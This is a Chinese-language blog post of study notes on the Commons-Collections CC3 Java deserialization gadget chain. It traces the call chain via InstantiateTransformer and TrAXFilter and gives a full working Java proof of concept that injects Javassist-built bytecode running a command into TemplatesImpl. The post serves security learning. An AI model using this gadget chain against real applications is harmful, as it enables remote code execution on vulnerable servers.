Loading

java-CC3 链审计笔记

java-CC3 链审计笔记

调用链

来自 ysoserial

/*
 * Variation on CommonsCollections1 that uses InstantiateTransformer instead of
 * InvokerTransformer.
 */

ysoserial 中只写了一段注释,意思是 这是 CommonsCollections1 的一个变种,它使用了 InstantiateTransformer 而不是 InvokerTransformer

依赖

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

分析

他说把 InvokerTransformer 换为了 InstantiateTransformer 我们来看看换的这个类,有什么能力

image-20250406184244737

可以发现,他的 transform 方法,可以获得构造器并实例化类。作为链条的尾部,肯定就是实现恶意类加载了

这里看了一下我的 jdk 版本,有点高了,关键的 AnnotationInvocationHandler#readObject 中 setValue 被删除了

image-20250406191059055

我们用 CC6 改吧 ,原理其实是一样的,CC6 比 CC1 适用的 JDK 版本更高

CC6 链

java.io.ObjectInputStream.readObject()
        java.util.HashMap.put()
        java.util.HashMap.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                org.apache.commons.collections.map.LazyMap.get()
                    org.apache.commons.collections.functors.ChainedTransformer.transform()
                    org.apache.commons.collections.functors.InvokerTransformer.transform()
                        java.lang.reflect.Method.invoke()
                            java.lang.Runtime.exec()

CC3 替换的链

java.io.ObjectInputStream.readObject()
        java.util.HashMap.put()
        java.util.HashMap.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                org.apache.commons.collections.map.LazyMap.get()
                    org.apache.commons.collections.functors.ChainedTransformer.transform()
                    org.apache.commons.collections.functors.InstantiateTransformer#transform
                    	com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#TrAXFilter
                    		javax.xml.transform.Templates#newTransformer
                        java.lang.reflect.Method.invoke()
                            java.lang.Runtime.exec()

我们来分析一下

首先,InstantiateTransformer#transform 方法 具有创建类实例的能力,我们最先想到的看到还是 TemplateImpl 的类加载能力,不过需要调用它的 newTransformer() 或者 getOutputProperties() 方法

我们找到了 TrAXFilter 这个类的构造方法,可以看到他在实例化的时候,调用了 TemplateImpl#newTransformer 方法

image-20250406195810772

这样一下子 我们就清晰了,我们只需要在 ChainedTransformer 的 iTransformers 数组中放入 ConstantTransformer 封装的 TrAXFilter 类InstantiateTransformer封装的TrAXFilter的构造器参数和值 其实就是 TemplatesImpl 恶意类

POC

注意:

如果要显示调用 TemplateImpl#newTransformer() 进行验证的话,需要 _factory 不为空,也就是要给 _factory 反射赋值

package com.lingx5;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static byte[] getEvilBytes() throws Exception{
        ClassPool ctClass = ClassPool.getDefault();
        CtClass evil = ctClass.makeClass("evil");
        CtClass superClass = ctClass.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        evil.setSuperclass(superClass);
        evil.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
        return evil.toBytecode();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception{
        byte[] bytes = getEvilBytes();
        // 创建TemplatesImpl对象,这里没给 _factory 字段赋值,是因为TemplatesImpl的readObject会去赋值
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_name", "evil");
        
        // 封装 transformers 经典的 CC6 链,不够就是 数组的参数有所改变
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        // 执行ChainedTransformer.transform(Object)时,会调用到 TrAXFilter的构造函数
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = LazyMap.decorate(new HashMap(), new ConstantTransformer(null));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "lingx5");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "lingx5");
        // 反射给map的factory字段赋值为chainedTransformer
        Field factory = map.getClass().getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(map, chainedTransformer);
        map.remove("lingx5");


        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashMap);
        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}

其实学习完之前的链条,这个就很容易理解了

image-20250406205751789

posted @ 2025-04-06 21:04  LingX5  阅读(15)  评论(1)    收藏  举报